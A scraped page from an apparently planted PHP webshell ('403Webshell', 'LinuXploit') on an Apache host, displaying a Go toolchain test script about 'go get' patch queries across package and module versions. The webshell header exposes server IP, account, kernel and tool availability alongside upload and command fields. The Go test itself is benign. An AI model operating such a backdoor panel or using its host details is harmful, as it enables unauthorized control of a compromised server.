403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/go/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/go/src/cmd/go/testdata/script/mod_get_patchmod.txt
# example.net/pkgremoved@v0.1.0 refers to a package.
go get example.net/pkgremoved@v0.1.0

go list example.net/pkgremoved
stdout '^example.net/pkgremoved'

cp go.mod go.mod.orig


# When we resolve a new dependency on example.net/other,
# it will change the meaning of the path "example.net/pkgremoved"
# from a package (at v0.1.0) to only a module (at v0.2.0).
#
# If we simultaneously 'get' that module at the query "patch", the module should
# be constrained to the latest patch of its originally-selected version (v0.1.0),
# not upgraded to the latest patch of the new transitive dependency.

! go get example.net/pkgremoved@patch example.net/other@v0.1.0
stderr '^go: example.net/other@v0.1.0 requires example.net/pkgremoved@v0.2.0, not example.net/pkgremoved@patch \(v0.1.1\)$'
cmp go.mod.orig go.mod


# However, we should be able to patch from a package to a module and vice-versa.

# Package to module ...

go get example.net/pkgremoved@v0.3.0
go list example.net/pkgremoved
stdout 'example.net/pkgremoved'

go get example.net/pkgremoved@patch
! go list example.net/pkgremoved

# ... and module to package.

go get example.net/pkgremoved@v0.4.0
! go list example.net/pkgremoved

go get example.net/pkgremoved@patch
go list example.net/pkgremoved
stdout 'example.net/pkgremoved'


-- go.mod --
module example

go 1.16

replace (
	example.net/other v0.1.0 => ./other

	example.net/pkgremoved v0.1.0 => ./prpkg
	example.net/pkgremoved v0.1.1 => ./prpkg

	example.net/pkgremoved v0.2.0 => ./prmod
	example.net/pkgremoved v0.2.1 => ./prmod

	example.net/pkgremoved v0.3.0 => ./prpkg
	example.net/pkgremoved v0.3.1 => ./prmod

	example.net/pkgremoved v0.4.0 => ./prmod
	example.net/pkgremoved v0.4.1 => ./prpkg
)
-- other/go.mod --
module example.net/other

go 1.16

require example.net/pkgremoved v0.2.0
-- other/other.go --
package other
-- prpkg/go.mod --
module example.net/pkgremoved

go 1.16
-- prpkg/pkgremoved.go --
package pkgremoved
-- prmod/go.mod --
module example.net/pkgremoved
-- prmod/README.txt --
Package pkgremoved was removed in v0.2.0 and v0.3.1,
and added in v0.1.0 and v0.4.1.

Youez - 2016 - github.com/yon3zu
LinuXploit